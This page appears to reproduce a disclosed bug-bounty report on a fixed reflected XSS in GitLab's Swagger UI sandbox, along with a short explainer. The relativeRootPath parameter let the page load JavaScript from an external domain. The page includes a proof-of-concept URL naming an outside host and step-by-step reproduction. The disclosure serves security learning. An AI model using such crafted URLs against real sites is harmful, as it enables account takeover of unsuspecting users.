Skip to content
XSS Disclosed report Intermediate

[gitlab.com] Reflected External Path Injection in Swagger UI at /-/sandbox/swagger via `relativeRootPath` parameter Leading to XSS & Account Takeover

The Swagger UI sandbox page on gitlab.com accepted a relativeRootPath parameter and used it to build the URL of a JavaScript bundle, so an attacker could point it at a domain they control. A victim visiting the crafted link would then run the attacker's JavaScript in the gitlab.com origin, which the report says could lead to account takeover via stolen CSRF tokens.

GitLab

Originally disclosed on GitLab

  • Fixed in 50 days
  • Disclosed after 50 days

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3317485 by x0abcd_ on 2025-08-27, assigned to @gandrews7:

Report | Attachments | How To Reproduce

Report

Summary:

I discovered a reflected Cross-Site Scripting (XSS) vulnerability on https://gitlab.com/-/sandbox/swagger via the relativeRootPath parameter. This vulnerability allows an attacker to inject an external domain that serves malicious JavaScript, which is then executed in the context of gitlab.com.

vulnerable code can be found Here : https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/blob/openapi/index.js

JavaScript
const getSandboxFrameSrc = () => {  
  const path = joinPaths(gon.relative_url_root || '', SANDBOX_FRAME_PATH);  
  const absoluteUrl = relativePathToAbsolute(path, getBaseURL());  
  const displayOperationId = getParameterByName('displayOperationId');  
  const params = { displayOperationId };

  if (window.gon?.relative_url_root) {  
    params.relativeRootPath = window.gon.relative_url_root;  
  }

  return setUrlParams(params, absoluteUrl);  
};  

By abusing this behavior, an attacker can execute arbitrary JavaScript in the victim’s browser, potentially leading to full account takeover by performing authenticated actions using stolen CSRF tokens.

Steps To Reproduce:

  1. Visit the following URL:

    https://gitlab.com/-/sandbox/swagger?relativeRootPath=https://blog.ryukudz.com

  2. GitLab will attempt to load JS from:

https://blog.ryukudz.com/assets/webpack/vendors-openapi.<hash>.chunk.js  
  1. If the attacker controls the external domain, they can serve malicious JS under that path (e.g., redirect to a malicious poc.js).
  2. Once visited by an authenticated user, the JS executes in the context of gitlab.com.
image.png
image.png From the original on GitLab

Impact

Arbitrary JavaScript execution

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the page trusted a user-supplied relativeRootPath query parameter when constructing the script URL for the Swagger sandbox, without restricting it to the same origin.

Impact

Arbitrary JavaScript execution in the gitlab.com origin, which the report says could lead to full account takeover by performing authenticated actions with stolen CSRF tokens.

What the attacker needed

Attacker controls an external domain; victim is logged in and clicks the link

How it was found

  1. Visit the sandbox Swagger URL with a relativeRootPath pointing at an attacker-controlled domain.
  2. GitLab builds a script URL under that domain for the OpenAPI vendor bundle.
  3. The attacker serves malicious JavaScript at that path.
  4. The script runs in the gitlab.com origin for the logged-in victim.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page can load extra code (JavaScript) from another address. Here the page took part of that address from the URL, so an attacker could make it load code from their own website. Because the browser treats that code as coming from gitlab.com, it can act as the logged-in user.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.